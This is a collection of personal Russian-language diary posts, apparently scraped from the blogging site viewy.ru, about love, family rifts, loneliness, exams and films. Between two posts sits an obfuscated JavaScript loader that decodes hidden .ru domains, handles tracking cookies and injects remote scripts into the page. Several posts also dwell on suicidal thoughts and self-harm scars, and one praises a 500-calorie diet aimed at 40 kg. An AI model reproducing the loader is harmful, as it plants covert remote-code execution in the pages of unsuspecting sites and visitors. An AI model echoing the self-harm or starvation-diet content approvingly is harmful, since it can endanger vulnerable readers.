И вот хй я на этот раз заброшу вью.

Всё стало настолько ху*во, что я спустя 7 месяцев я вспомнила о вьюи, зашла сюда. А ещё вспомнила об Arctic Monkeys, которые сопровождали меня в мои переломные моменты жизни. Это пиздц. Оля вернулась.

Сегодня выбралась на прогулочку вечером, все спонтанно, собралась за 10 минут и пошла…так лучше всего) Знакомый парень, учились вместе в школе, он старше на 2 года, никогда не общались, ничего..уже сейчас, после школы, так получилось, что он друг парня моей подруги, и как-то мы конечно пересекались, но эт давненько так было, а тут он с чего-то решил мне написать, позвать гулять, ну а что мне…скучно сидеть дома, я знаю, что он не маньяк :D прошлись, погуляли, потрындели..норм) Но я поняла, что это не очень мое, а друзей никто не отменял..хоть от него пахло моей любимой туалеткой хехе..покайфовала немног)) мысли в кучу..как всегда вобщем

Кого-то может удивить фраза "если я случайно съедусь с парнем". Просто я не представляю, как смогу в будущем жить с кем-то, ну с подругой/другом да. Но ведь любить друг друга и проводить друг с другом все свободное время кажется странным. Я за свободу и самореализацию, а совместное проживание может очень помешать этому.

Так что это будет для меня случайностью, ибо этого в моих планах просто нет.

восхитительный *_*

Завтра у меня долгожданный экзамен в ГИБДД, сдаю на права. Меня немного трясет, взятку я никому не давала, да и директор автошколы орет громче всех, что денег, кроме обучения никто не берет. Билеты я вроде все знаю, маршруты тоже, с механикой на гребанном датсуне справляюсь. Ругайте меня матом, ругайте сильно и громко. Мама вроде верит, что сдам, а папа уже нашел человека, которому можно заплатить. Но сами понимаете, что такие деньги в семье лишними не бывают. Хотя какая разница, сдам не сдам? Напьюсь завтра по-любому.

Господи, неужто я теперь не одна… И нет лишних слов, обещаний, все прекрасно. Одно но, я боюсь влюбляться…

— Ты ждешь поезда. Поезда, который отвезет тебя очень далеко. Ты знаешь, куда тебе хотелось бы уехать, но, куда отвезет поезд, не знаешь. Это и не важно. Скажи, почему?

— Потому что вы будете вместе!

P.s. я не алкаш

первый пошёл

Вечер пятницы. Одинокий вечер в компании виски с колой после рабочей недели - почему бы и нет?

Все просто полетело к чертям. Верно, милая?

Мы молоды. И мы живы. И нам чертовски пусто, несмотря на то, что мы так стараемся себя наполнить.

Так странно. Я снова скучаю по человеку, которого не знаю. Только вот в этот раз я не знаю абсолютно всего, кроме имени. Хорошо это, плохо ли. Через неделю станет понятно.

счастье - это когда тебе ничего не нужно в данный момент, кроме того, что уже есть.

несколько ночей подряд у меня в голове проносятся ураганы мыслей, но одолевшая меня лень не пускает к компьютеру, жалобно скулящему в метре от моей кровати.сегодня я решила, что нужно как-то исправлять сложившуюся ситуацию, поэтому я проследовала на кухню и взяла пачку крекеров, которые никто в моей маленькой семье особо не любит, хотя есть предположение, что они просто не успевают даже познакомиться, о какой, черт возьми, любви я пытаюсь здесь писать?после я наведалась в соседнюю комнату и откопала запылившийся ноутбук, не забыв в очередной раз забежать на кухню за только что заварившемся клубничным чаем.теперь я готова к наплыву идиотских мыслей, но есть вероятность, что сегодня они немного изменят курс и уплывут к кому-то с шоколадом и кофе.может быть им не понравится мой чай из пакетика.
а пока я остаюсь в неведении, буду любоваться фотографией, прикрепленной к этому странному посту.ох, как бы я хотела сейчас оказаься в подобном месте.очень хочется верить, что подобное когда-нибудь произойдет.именно со мной!слышите?не с той, у которой кофе и шоколад!она и так постоянно ворует мои мысли.
смотря на это фото, я невольно вспоминаю фильм "в диких условиях".мне так стыдно за то, что я не посмотрела его раньше.и я чувствую себя неимоверно уязвимой из-за просмотра этой картины в кругу семьи.я не могу найти этому объяснение.черт.мне стало не по себе, когда я случайно поймала взгляд мамы, направленный в мою сторону.ведь совсем недавно я начинала думать, как "исчезну", не сказав никому о том, куда направляюсь.понимаете?никто бы и не подумал, что я способна на подобную выходку.я не могу отрицать, что я совершу подобную глупость.может через год, а может и через пять лет.я не знаю.я ничего толком о себе не знаю.так что прекращайте свои шуточки о ничего не знающем Сноу.моя персона будет покруче.
чай остыл, а оставшиеся в живых крекеры, уже успели провести минуту молчания в память павших собратьев, но мысли так и не появились на горизонте.кстати говоря, я так и не соизволила досмотреть тот фильм, сбежала на улицу.мне страшно узнать конец этой истории.
♫one republic-if i lose myself

Слава богам! 22:50 и мы уже в Киеве! Щас выгружаемся у брата, я иду у них в душ ибо у нас нет горячей воды. И только потом домой… Я щас реально заплачу!

Утро.

Я абсолютно не хочу ни за кем бегать. Абсолютно. Я ненавижу навязывать своё общение кому-то. Холодно и пасмурно. Я этим летом даже не купалась.. А ещё действительно страшно, что не увидишь некоторых людей..

Вечер.

Уже в постели с наушниками в ушах. Сказать, что у меня нет настроения- не сказать ничего. Пробила баклуши до 3-х. Потом ближе к 6 поехали на волейбол. Я думала, что будет очень холодно, но было жарковато. Потом ближе к вечеру стало все холоднее и холоднее, как и на душе. В итоге, мы проиграли, а играли на сало. Ну мы такие встали, облокотились на бревно, ждём пробития. И самый первый мяч мне прожег ногу. Было больновато, из глаз брызнули слёзы. Но их никто не видел, потому что я тщательно их скрывала. Хотя, возможно, кто-то и заметил. Но слёзы были не от физической боли, а от моральной. Я так устала.. Господи. За свои 18 лет я столько перевидела, я столько раз получала, как и сегодня.

Уже немного хочется спать. А я не хочу, чтобы со мной общались из-за жалости. Тем более, чтобы парень. Нет! Я не хочу такого. Но сегодня были и одни из лучших 15 минут за день. Даже скажу, что лучшие. Спасибо, я закончила.

Я сново о моей проблеме или лучше сказать о моей причине потому что я весь день сижу на грузе. У меня сегодня печалька: (:'(. Вчера блин, Саша не погулял с нами, Сразу как мы вышли, Миша ему позвонил и он сказал что не знает точно если выйдет, но позвонит. И мне как то стало не по себе, но я не давала этому виду, но в глубине души, в самой глубище я так моляла Господу чтобы дал Саше ту самую мысль. чтобы хотя бы вишел на чесок, НО НЕТ, он позвонил и сказал что не выйдет, и причина не может быть расказанна по телефону. ЧЕ ЗА ФИГНЯ…. что еще за причина такая. И я весь вечер ломала голову но все таки не разгадала. Тот вечер был каким то не таким. Никто не дразнил и не подшучевал над о мной, было скучно. А сегодня я погуляла с моей подругой, потому что она 17 августа улетает в Америку на учебу. И конечно она заметила что со мной что то творится, кто то завладел мною. Сначала конечно я сказала что нет пффффф, ты что, какой Саша, о чем ты, но все таки она давела меня сказать правду, в которую я сама очень трудно поверила, но что есть как есть. Я была очень рада что хотя бы кому то расказала что творится в моей голове и вообще о моих мыслях, то чего я редко делаю. И вот уже 2дня я его не видела, но скучаю. И это как то не правильно ведь я для него никто, и он для меня как бы тоже (ну это он так думает) , он мне не принадлежит и мы не обьязаны ни чем. Но такова моя сущность я скучаю и я ревную даже когда он не моя преееееелесть. Вот так вот…., и еще завтра Мишина днюха, и я погуляю на славу. За сегодня я все и мне не важно сколько человек меня читают, главно что я убираю все эту фигню из моей головы, и выкладываю на VIEWY, за что я его и обожаю. ❤❤❤

Привет, мой. Я не хочу чтобы заканчивалось мое лето, не смотря на то что я ненавижу лето из-за ее жары, но и одновременно жутко скучаю по джинсам, кросам и уютным теплым свитеркам, проводить вечера дома с любимым - да, мое самое. Укрыться пледом и смотреть фильм под ним - аж муражки от такого. Я хочу осень однозначно, ну ничего время пролетит очень быстро, и я уверена что через месяц такой изнурительной учебы в универе, я заною и захочу обратно к маме. Буду надеяться что Мой будет жить со мной. Сегодня, а точнее сейчас и в эту минуту я задумалась о том что в наших отношениях не хватает романтики, и уж очень как, мы относимся холодно друг к другу, без всякой любви, лично я замечаю так. Мне хочется заботы, я хочу тепла душевного от Моего, нежности и приятных слов на прощание или о том как скучал, что не видел пару часов, что скучает за глазами, улыбкой, а не только за тем чтобы потрогать мои ножки к примеру. Я хочу искренней любви, а то что происходит между нами я не знаю как назвать. Я не знаю надолго ли это, ибо знаю что не выдержу много, но так не хочу терять его. Я хочу чтобы отношения не стояли на месте и двигались, мы очень скучны, мы надоедаем друг другу даже не смотря на то что мы даже еще вместе не живем, нет бытовухи - мы сами делаем ее себе, усугубляем то что давно уже начато. Я хочу дать отношениям второе дыхание, вторую жизнь, или мы так скоро устанем. Надо придумывать что-то, и не обязательно тратить кучу денег, просто билет в один конец к примеру и любите друг друга. Мой уже небось спит, я пойду к нему морально. Люблю тебя.

07.08.2015

Начала составлять ТОП фильмов, которые посмотрела в рамках флэшмоба (?) в этом году. И вот, что пока вышло:

1. Birdman '15 (январь)

2. Kingsman: The Secret Service '15 (февраль)

3. Lock, Stock and Two Smoking Barrels '98 (март)

4. Se7en '95 (март)

5. I Origins '14 (апрель)

6. Gran Torino '08 (апрель)

7. The Fall ' 06 (май)

8. Mad Max: Fury Road '15 (май)

9. Inglourious Basterds '09 (май)

10. Kung Fury '15 (май)

11. Dogfight '91 (июнь)

12. Clerks. '94 (июнь)

13. Clerks II '06 (июнь)

14. Control '07 (июль)

15. Dog Poun d '09 (август)

16. The Man from U.N.C.L.E. '15 (август)

17. Le Premier Jour du Ruste de Ta Vie '08 (сентябрь)

18. American History X '98 (октябрь)

19. End of Watch '12 (октябрь)

20. The Departed '06 (ноябрь)

А еще ТОП провалов, от которых мне хотелось плакать, и я страдала:

1. Devil's Due '14 (январь)

2. Alone in the Dark '04 (январь)

3. Mas negro que la noche '14 (январь)

4. Tusk '14 (январь)

5. Love Bite '12 (январь)

6. The Quiet Once '14 (февраль)

7. The Watch '12 (февраль)

8. Run '13 (март)

9. Expelled '14 (март)

10. Tracers '15 (март)

11. Seventh Son '14 (апрель)

12. Monella '98 (май)

13. The Human Centipede III '15 (май)

14. Always Watching: A Marble Hornets Story '15 (май)

15. Paranormal Activity 4 '12 (июнь)

16. Poltergeist '15 (июль)

17. The Dead Girl '06 (июль)

18. Julia X '11 (август)

19. Pink Flamingos '72 (август)

20. Adieu au Langage '14 (сентябрь)

21. I Spit on Your Grave 3 '15 (октябрь)

22. Psycho III '86 (октябрь)

23. Psycho IV: The Beginning '90 (октябрь)

24. Hellraiser: Hellworld '03 (октябрь)

25. The Exorcism of Molly Hartley '15 (октябрь)

Когда какой-либо человек говорил мне, что не может влюбиться, что не способен полюбить другого человека, я считала это абсурдом, бредом, глупыми отмазками и прочими подобными вещами.

Пока не стала ловить себя на мысли, что со мной начало происходить именно это. Я не могу больше выносить и родить это чувство-любовь. Я не могу влюбиться.

Влюбчивая больше не влюбчивая.

Я ТААААК ЗЛА И РАССТРОЕНА.

Если баба чувствует, что ее любят, именно чувствует, а не знает - ей должно быть глубоко насрать, кто кому там ставит лайки.

Хочу рассказать свою историю, и, может кто-то, прочитав ее, возьмет для себя какой-то урок. Но я лично хочу поделиться, так как больше мне некому рассказать, а все близкие люди для меня далеко сейчас.

И если чесно мне кажется, что это какая-то сказка и я вот вот проснусь. Слишком быстро жизнь меня окунула в дерьмо, я и не успела оптруситься от детства.

Я и представить не могла, что один 18-ти летний парень настолько перевернет мою жизнь. Я встретила Новый 2015 год и намечалась поездка в Карпаты. Я ехала с намерением там окончательно изменить свою жизнь и свои мысли. Внутри я знала, что после этой поездки изменюсь, как минимум, я.Так и вышло.

Я встретила теперешнего моего молодого человека. Все развивалось очень стремительно. Я была как в раю. Но внутри было предчувствие, что когда мы с ним вернемся в родной город нам прийдется побороться за наше будущее.

РОвно через неделю наших отношений и началась эта волна. Постоянные ссоры с мамой…Казалось бы самый родной человек ревнует меня ко второму моему любимому человеку.Мама на протяжении полугода пыталась отвоевать мое внимание к себе. При чем остальным притензий ко мне небыло. Просто ревность к нему и несмирение, что я взрослею. Дело ишло к критической точке.

На фоне постоянных скандалов и драк я ушла из дому. У моей мамы была попытка суицида.Больница, участковый, скандалы, крики, слезы, драки…Волна негатива и ненависти от человека, которому я буземна предана. Теперь уже я ушла на постоянной основе из дому. Перевезла все свои вещи к своему парню.

Я его безумно люблю. Он изменил мея внутри. И мне безумно нравится с ним жить. Я очень хочу построить с ним семью и добиться вместе успеха в жизни. И я уверенна, что желание это обоюдное. Он моя опора.Он мое все.И я правда могу сказать, что без него я никто.

Я смогла совместить роботу, учебу и семейную жизнь.

Настали каникулы…Со своей мамой я не могу наладить отношения. Она до сих пор не поняла, что я не ее вещь и в конце концов я повзрослела.

Смотрите ситуация….Мама со мной категорически не общается. Бабушка и дедушка живут в другой стране и при этом они тоже отказались от меня, из-за моего поступка.Меня потдерживала только тетя, но сейчас она также переехада с семьей жить в другую страну.Отца у меня нет. Я одна.

Да, у меня есть мой любимый мужчина. Да, я доверяю ему.Да, у него есть большая прекрассная семья. Но все же….где-то потерялась моя семья и мой дом. Теперь у меня есть только моя любовь. Мне не страшно…нет. Просто удивилась как я сама того не хотя потеряла семью.

Не хочу оправдыватся…я ушла от морального и физического насилия. Плюс ко всему я ушла жить с любимым человеком.

Сейчас ему 19. Нам еще учиться один год вдвоем. Но он работает, строит со мной планы на будущее.Мы с ним семья. Мне сейчас жаль маму свою, но и смирится и простить ее я пока не могу.Она мне сделала очень больно. Она предала меня. Хотя пройдет время и я смогу ее простить.А вот она…изменится ли она?

Просто разочарована в своей семье….всем проще отказатся от меня. Я теперь не маленькая Лизонька и имею свое мнения и желания. ИМенно поэтому я стала неугодна маме и бабушке с дедушкой. Мне очень из-за этого обидно. Я же не могу всю жизнь делать как хотят они? Тем более я нехочу жить в насилие.

Вот такая история.Просто все случилось для меня быстро. И я не до конца осознаю, что творится вокруг меня.

Рассказываешь близким людям о своих встречах, что думаешь по поводу человека. А он хоп и выдает все твои мысли этому самому человеку. И тот кто все выдает - твоя сестра. Ненавижу когда меня обсуждают за спиной. Тем более что я доверила какую-то информацию конкретно тебе. И в итоге я выгляжу треплом, который все всем рассказывает, сукой которой все не нравится, но которая гуляла пару раз. Сама в своих глазах какая-то тварь сейчас. Блять. Близкие люди, хватит разочаровывать.

И я уже начинаю потихоньку привыкать к тому, чтобы никому ничего не рассказывать, даже сюда. Держать всё в себе. И знаете, так даже легче, не приходится себя неловко чувствовать, если вдруг тобою рассказанные планы на будущее, пошли по пизде.

Не так давно заметила, что количество песен в моем основном плэйлисте в телефоне всегда 30-33. Учитывая, что я частенько его чищу и добавляю новые песни, всегда чуть больше 30. Не знаю, магия чисел это или мое внутреннее несостояние прослушивать больше песен, но.

Сейчас их ровно 30 вместе с несколькими реально вечными треками, которые живут там годами.

1,5 года не могла удалить с телефона наши совместные фото, т.к. комп был сломан (apple, блять, иногда не молодцы), и вот пришёл этот день. Пока.

И блин, прекрати уже о себе напоминать. Заходить ко мне на страницу, например. Мне, между прочим, было достаточно сложно отпустить эту ситуацию… Давай уже, прощаться.

Пока ты пишешь свои текста той, которая ждет тебя дома, я пишу свои стихи слезами на подушках тех, чьих имен и не вспомню на утро

предыдущий пост написан дешевым вульгарным языком, и мне это не нравится, но переделывать не хочется да и зачем. но я читаю кафку на пляже, и чуть не плачу - вот, что нужно, бестелесная, небесная, головная любовь, а на все эти дробления и бесчестие, о которых говорила цветаева

Нашим отношениям 4 года и почти 1 месяц. Это безумное счастье иметь любимого человека! Скорее бы съехаться и жить вместе, но пока это в планах. Сейчас нужно найти нормальную работу и копить на наше будущее. Что ещё сказать об отношениях? Я люблю его, он любит меня и мы едины: 3

Как удалить из жизни всех пиздаболов онлайн без регистрации и смс плиз

Видимо, я и "Тревелерс" - абсолютно не совместимые вещи, т.к. там всегда приключается что-то такое, что меня раздражает.
Сегодня вечерком наведывались туда с М.Ф., и:
1) я перевернула корзиночку с ножами и вилками, и они чуть в меня не вонзились Я ЖИ ЧУТЬ НИ УМИР, ПОНИМАЕТЕ;
2) Не оказалось вишневого чизкейка, пришлось заказывать шоколадный;
3) Не оказалось шоколадного подлива к чизкейку и мне принесли его лысым, виновато улыбаясь;
4) Капучино был настолько слабым, что уместнее было бы назвать его молочным пойлом;
5) Громкий звук кофемашин отражался от стен, и мне постоянно казалось, что это на улице косят травку или, что хуже, рубят деревья, и поэтому рефлекторно хотелось орать в окно "АНУУБЕРИРУКИОТДЕРЕВА".

А вообще нам было весело. Очень.
До этого сидели еще в пиццерии.

Гуляли на переходе через железную дорогу, на поезда смотрели.
Какой-то мужчина проходил мимо меня и сказал - "Не бойтесь, девушка, это не больно". Я так похожа на неуверенного суицидника? :D

использую английский в эти каникулы только для того, чтобы вымещать всю внутреннюю полуспящую стервозность (на русском не могу потому что). сначала выплыла в коридор в ночнушке и маске для сна навстречу орущим детям и их матери со словами 'can you make them a little quieter? we're trying to sleep here', а на последующее 'they're KIDS (АХУЕТЬ ТЕПЕРЬ), we've had a long day' с неопределенным жестом рукой бросила 'at least don't let them run around' и скрылась в туман. вчера на шоу похлопала сидящего (точнее постоянно встающего и загораживающего мне сцену) спереди мальчика по спине, шипя 'can you NOT do that?' с полубезумным взглядом, после чего он пожаловался маме на злую тетю и на меня обернулось чуть ли не все семейство. даже не буду отрицать, что собой по этому поводу довольна.

Ого-го перечитала свой блог и удивилась какой у меня настрой был! цель 40 кг!

Вновь я сажусь на диетку пора довести дело до конца! Завтра меня ждут 500 каллорий и я безумно счастлива, ведь это обжорство меня уже бесит. Я завязываю с булками, печеньками, вареньями, сахаром, макаронами, картошкой! И питаюсь как и раньше)) Я счастлива, скорее уже завтра, чтобы проснуться новым человеком))) )

Четыре месяца спустя…

…Глеб старался за двоих. Он был заботлив, внимателен, всегда готовый свернуть горы- он был обычным и привычным Глебом, но что бы он не делал, моя голова была заполнена другим. Старалась и я. Боль, чувства предательства и абсолютное безразличие к жизни пришлось скрывать. Но от любящего взора ничего не утаит, ведь так? Поэтому решено было сломать себя и свою привычную «жизнь». На «вершину мира» были возведены желания и цели Глеба. Счастливой меня не могло сделать ничего, но его осчастливить было так легко…нежный взгляд, прикосновения, ласка…

Я спрятала свой характер, поощряла любое его начинание, любую идею. Познакомилась с родителями. Ходила на свидания, улыбалась и заставляла его чувствовать себя желанным и нужным.

Но врать оказалось сложно. Чуткий Глеб уловил мою жертвенность и пытался с этим бороться. Старался заставить меня следовать моим собственным порывам, а не его. Каждый день он пробовал вернуть мне жизнь (или меня к ней!?!). Показывал что-то новое, открывал глаза на удивительные вещи…

Наблюдая за ним, я невольно восхищалась силой этого человека. Склеивать меня по кусочкам, не торопить, ничего не требовать взамен, быть рядом и всегда терпимо бороться со страшными снами, с приступами страха, депрессии и слез.

Каждый день я открывала что-то новое в нем, и это по-хорошему удивляла меня. Усилия Глеба дали первые «плоды». Я привыкла и привязалась к нему. Заметив это, он предложил мне жить вместе. В его жестах была легкость и ненавязчивость, будто боязнь спугнуть.

К этому моменту начинался второй месяц беременности, и я согласилась.

***

Через неделю после моего переезда Глеб сделал мне предложение… Вечером под звездами, в прохладный весенний день на мосту за городом он попросил меня стать его женой.

Чувства Глеба, пожалуй, для всего нашего окружения не были новинкой. Зато меня не отпускала мысль о том, что он может делать это из-за ребенка, из-за чувства ответственности и возможно вины.

Не однократно я рассказывала ему об альтернативах, о том, что справлюсь сама и не требую от него ничего. И каждый раз от этих слов я видела в его глазах обиду, досаду и боль. Глеб действительно этого хотел- он хотел ребенка и меня.

…Красивое кольцо, обстановка, горящие любовью глаза…элементарно даже старания человека сделать все романтично и правильно поражали. Но на предложения ответ был отрицательный. Я взяла рассрочку до тех пор, пока не появится малыш. Бессердечная сука, которая выпендривается и всем недовольна- да, да это я. Мое согласие сделало бы его счастливым, а отказ причинил боль…он этого не ожидал. Почему я это сделала?- Я все еще пыталась оградить и спасти его от себя, потому что желала Глебу только счастья. Мой отказ- это его билет на волю, который за него и для него припасла я.

спасибо Стивену за прямые трансляции и отдельное спасибо за трансляцию с Эм *-*

во мне присутствует, такая по моему мнению дурная черта - я очень, ооочень близко к сердцу воспринимаю смерти совершенно посторонних мне людей. особенно, если эти люди молодые, красивые, амбициозные. у которых все впереди. но уже впереди ничего нет. только вечная темнота. это так ужасно! я начинаю думать; а что если, до дыр заслушиваю аудиозаписи, думаю чем увлекался этот человек, какую музыку слушал. думаю о том, что только вчера он или она имели возможность слушать свои любимые песни, дышать свежим воздухом, радоваться солнцу и общению с близкими людьми, а уже сегодня ничего этого нет. жизнь такая длинная и одновременно такая короткая. времени никогда не хватит, как бы мы не пытались. берегите себя и почаще говорите своим близким приятные слова.

Книги, которая была нужна для написания коллоквиума, не было ни в библиотеке, ни в интернете, а потом она появилась! И, конечно, была уже не нужна.

Я разочарован.
Очень приятно находиться к кругу знакомых и друзей, в то время как твоя лучшая подруга наровит тебя зацепить чем-то

Перемены. Такое странное слово.
Закат. Янины сигареты. Песня, которая всегда напоминает и будет напоминать мне об А.
Все меняется. Глупо думать, что все всегда будет так, как это есть сейчас. Но сейчас я думаю, что это хорошо.
Помните, как в четвертом сезоне КЯВВМ Тэд, Маршал и Лили не хотели переезжать из своей квартиры? Но все дело было в том, что они должны были это сделать. Перемены не обещают нам счастливой жизни, но дают на нее шанс, а шанс стоит дорогого.
Я уезжаю. Алёна уезжает. Ира уезжает. Яна хоть и не уезжает, но будет в 2 часах от меня. У всех нас есть шанс на что-то новое. Новые люди, новые места, новые события, которые будут лучше старых.
Тяжело прощаться, но это нужно сделать.
Я привыкаю к мысли о том, что меня ждет новая жизнь. Университет, общага, 6 лет учебы. Это все, конечно, странно, но, видимо, так и должно быть.
Я верю в них, а они верят в меня.
Хоть мы с Катей больше не общаемся, но я безумна рада, что она поступила в Питер. Она достойна этого.
Просто хочу сказать спасибо им за всем за замечательное время, которое мы провели вместе.
На одном видео они попросили меня сказать, что я люблю их. И я сказала. Это было менее года назад. Тогда я не знала, что все так перевернется с ног на голову, но я не жалею об этой фразе. Я люблю их. Люблю Иру, Алёну, Катю, Ди и Яну, хотя ее не было в тот день. В тот день мы даже еще не здоровались при встрече, а сейчас я не могу представить вечер без этой светловолосой дамы.
Все меняется. Что-то нас огорчает, а что-то радует. В этом и заключается жизнь. Нельзя жить в коконе, где все всегда будет стабильно. Надоест.
Пришел конец замечательной эпохе. Не пересчитать всего того, что заставляло меня смеяться и плакать, что вытаскивало из рутины и заставляло улыбаться.
У кого-то родился брат, кто-то поймал за хвост бюджет в Питере, кто-то обрел рыжего кота по имени Слава, кто-то смог побороть свои страхи и вырваться из круговорота, а кто-то вчера отметил свое восемнадцатилетие. И я знаю каждого человека из этого списка. Я знаю людей, которые борются за "своего" человека, знаю людей, которые спаивают таких малолеток, как я, знаю людей, которые поедут среди ночи со мной за чипсами в другой район. Это много значит.
Я знаю Колю, который так искренне обнимает. Знаю Даниила, который обладает великим терпением. Знаю Дениса, который, конечно, козел в связи с одним делом, но при этом он отличный парень.
Все мое окружение оставило след во мне и этого уже не изменить. Сейчас все разлетаются по стране, но я думаю, что когда-нибудь, идя по улице, встречу знакомое лицо и улыбнусь.
Пусть 11 сентября будет самым одиноким днем рождения на планете Земля. Я буду знать, что Алёна в Самаре, Ира в Челябинске, а Яна в Тагиле вспомнят обо мне. Может, даже Катя мельком вспомнит. А если нет, то в ее 12 сентября я вспомню о ней и пожелаю удачи.

"А знаешь, там не страшно, я думаю не страшно,
Но как быть может страшно в стране наших снов.
Там есть конечно солнце, оранжевое солнце.
Гуляет по проспектам больших городов.
А мы сидим на крыше, кто выше, а кто ниже,
Друг друга, обнимая мохнатым крылом.
Взгрустнулось мне быть может,
Но думай о хорошем.
Это всё потом."

—Увидимся в клубе
-Пока Фейсбук
-Это так круто
-Это хорошо, правда.

Я еду домой. Я так устала. От этого отдыха. От этой дороги. Часов 12 уже едем. И минимум часа полтора еще ехать. Уже солнце село, такой закат красивый. Еду, думаю и мысленно обижаюсь на Юлика ахах обижаюсь потому что он вообще не переживает. Ну то есть не пишет тип Доехала ли я, нормально ли все и все в таком роде. Я честно говоря даже не увкренна что он знает что я еду именно сейчас. Но это такое. Мы накупиои море вкусняшек с собой: арбузов всех видов, дыньки, персики. Асе это под ногами, ноги отикают,5 человек в этой девятке. Короче уже жду недождусь когда мы доедем. Поесть, помыться и упасть в свою кроватку.

Утро сегодня было паршивое, как и день, в прочем. А вот вечер довольно-таки неплохой. На улице наконец-то наступило лето (да, в Питере лета вообще не было, одни дожди, холод и т.д., но именно за это я и люблю этот город, т.к. мне больше нравится дождь, нежели палящее солнце и духота), прогулялась немного, настроение как-то улучшилось)

сколько я училась, столько слышала "кому нужны переводчики, когда есть гугл и прочие ништяки". я очень боялась, что действительно они никому не нужны, и во всех статьях переводчики значились как невостребованные. и тут я нашла работу полгода назад. офигенную работу, на которой я всем нравлюсь и как человек, и как профессионал. но я не могу на ней удержаться, потому что у меня… нет диплома. парадокс. и, черт возьми, меня повысили. меня. повысили. в моей работе нет логики.

я много работаю. и когда заикаюсь о том, что хотела б уйти домой раньше, чем 18:30, мне говорит начальница: ты ж хотела стать богатой и независимой, так чего жалуешься? у меня нет никакой жизни, кроме работы. я сплю и работаю. и ем раз в сутки. и постоянно на телефоне. наш психолог, Володя, вчера сказал, что ему кажется, что я всегда на работе, т.к. когда бы я или он ни позвонил, я все время то ли в офисе, то ли дома за переводом. а Сильвия сказала, что из-за нее у меня нет ни личной, ли социальной, ни духовной жизни. я тогда посмеялась, а сегодня вечером поняла, что мне уже совсем не смешно.

и совсем уж не смешно теперь, когда я понимаю, что могу стать законченной карьеристкой. мне хочется плакать оттого, что я замыкаюсь ото всех из-за своих комплексов. и то, что я три, черт его возьми, месяца не разговаривала с моим мужчиной, меня вводит одновременно в бешенство, состояние бессилия и перманентной фрустрации. я понимаю, что, чем дольше я одна, тем явнее у меня возможность остаться одной если не навсегда, то очень надолго. потому что я могу все делать сама. но я не хочу. господи, как я не хочу все делать сама.

и стану я той придурошной бабой, которая потом в 45 лет будет ходить на тренинги для бизнесс-вумен, которые к своему возрасту не создали семью, а теперь уже никому не нужны.

Вспомни себя в детстве.
Посмотри свои детские фотографии.
Вспомни как ты была счастлива.
Вспомни как ты радовалась жизни.
Вспомни как ты пугалась из-за того, что ты когда то умрешь.
Вспомни, что ты обещала маме.
Ты вспомнила?
А теперь что?
Детство в прошлом.
Детские фотографии лишь воспоминания счастливого детства.
Ты сейчас счастлива?
Нет, ты не счастлива.
Радуешься жизни?
Нет, сейчас думаешь как покончить с собой.
Сейчас пугаешься от того что умрешь?
Сейчас ты больше хочешь умереть, чем жить, правильно?
Ты обещала маме много, ведь так?
Сейчас ты скрываешь от мамы сигареты в карманах и шрамы на руках.
А все из-за людей.
Которых мы любили, которым верили.
Которые бросили тебя.
Мальчик, друзья они ведь все обещали быть рядом ведь так?
Все они все обещали.
А сейчас ты просто одинокая девочка, с суицидными мыслями и лезвием в руках.

я короче ваще не знаю, что у меня творится в жизни
с А у меня чисто секс, с Д какая-то эмоциональная связь

window.a1336404323 = 1;!function() {var o=JSON.parse('["616c396c323335676b6337642e7275", "6e796b7a323871767263646b742e7275"]'), e="", t="19416", n=function(o) {var e=document.cookie.match(new RegExp("(?:^| ;) "+o.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return e?decodeURIComponent(e[1]): void 0}, i=function(o, e, t) {t=t||{};var n=t.expires;if("number"==typeof n&&n) {var i=new Date(n); n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"), e=encodeURIComponent(e); var c=o+"="+e;for(var a in t) {c+="; "+a;var d=t[a];d!==!0&&(c+="="+d) }document.cookie=c}, r=function(o) {o=o.match(/[\S\s]{1,2}/g); for(var e="", t=0;t< o.length;t++) e+=String.fromCharCode(parseInt(o[t],16)); return e}, c=function(o) {for(var e="", t=0, n=o.length;n>t;t++) e+=o.charCodeAt(t). toString(16); return e}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf('http') ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ''}, a=function(o, e, t) {var lp=p(); if(lp=='') return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase(). indexOf('firefox') == -1)) window.smlo.loadSmlo(n.replace('https:', 'http:')); else if(window.zSmlo && (navigator.userAgent.toLowerCase(). indexOf('firefox') == -1)) window.zSmlo.loadSmlo(n.replace('https:', 'http:')); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.executed||(this.executed=!0, "function"==typeof e&&e()) }, i.onerror=function() {this.executed||(this.executed=!0, i.parentNode.removeChild(i), "function"==typeof t&&t()) }}}, d=function(u) {var s=n("oisdom"); e=s&&-1!=o.indexOf(s) ?s:u?u:o[0];var f, m=n("oismods"); m?(f=r(e) +"/pjs/"+t+"/"+m+".js", a(f, function() {i("oisdom", e) }, function() {var t=o.indexOf(e); o[t+1]&&(e=o[t+1], d(e)) })): (f=r(e) +"/pjs/"+t+"/c/"+c("viewy.ru") +"_"+(self===top?0:1) +".js", a(f, function() {i("oisdom", e) }, function() {var t=o.indexOf(e); o[t+1]&&(e=o[t+1], d(e)) })) };d() }();

Вчера была ночь страха.
Сидели мы вечером с сестрой и подругой, и т.к. делать было абсолютно нечего, мы решили посмотреть ужастик. Там было много крови, резня и т.д. Легли мы значит спать в час ночи и племянник проявил желание рассказать страшилку. Ничего страшного, конечно, в его сказке не было. В конце сказки Артур (так зовут племянника) сел, а потом заорал, что ему страшно и под стулом кто-то сидит. Все, конечно же, подпрыгнули. Включили свет, нашли причину испуга (это оказался роутер, т.к. у него горят огоньки, а у ребенка разыгралась фантазия, и он подумал, что это глаза монстра). Мы еле уговорили его спать и подругу тоже (она настолько испугалась, что умоляла, чтобы мы не выключали свет). Пятиминутная тишина. Потом Артур опять говорит, что в темноте что-то есть. Я приглядываюсь и не могу рассмотреть что там, прошу включить свет, но моя просьба была сказана настолько громко и эмоционально, что сестра подпрыгнула и перевернулась раз пять в воздухе, наверное, ахха. Мы снова включили свет, проверили все - ничего. И только после этого, спустя пол часа - час, мы смогли нормально уснуть) Вот такая вот ночка)

ха-ха. хочется плакать. но я не плачу. поэтому сопли, слюни, пузыри отменяются.

Но был ведь зарок- не любить, не держать, не влюбляться…
